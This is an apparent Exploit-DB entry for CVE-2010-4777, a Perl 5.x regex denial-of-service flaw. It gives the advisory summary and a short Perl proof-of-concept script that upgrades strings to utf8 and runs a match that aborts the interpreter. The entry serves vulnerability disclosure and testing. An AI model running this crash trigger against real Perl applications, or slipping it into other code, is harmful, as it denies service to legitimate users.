Exploit Perl 5.x - 'Perl_reg_numbered_buff_fetch()' Remote Denial of Service

[Exploiter]

EDB-ID

35489

Проверка EDB

1. Пройдено

Автор

VLADIMIR PEREPELITSA

Тип уязвимости

DOS

Платформа

MULTIPLE

CVE

cve-2010-4777

Дата публикации

2011-03-23

source: https://www.securityfocus.com/bid/47006/info

Perl is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause an application implemented with affected perl code to abort, denying service to legitimate users. 

#!/usr/bin/perl


my @x = ("A=B","AAAA=/");
utf8::upgrade $_ for @x;
$x[1] =~ s{/\s*$}{};
for (@x) {
m{^([^=]+?)\s*=.+$};
}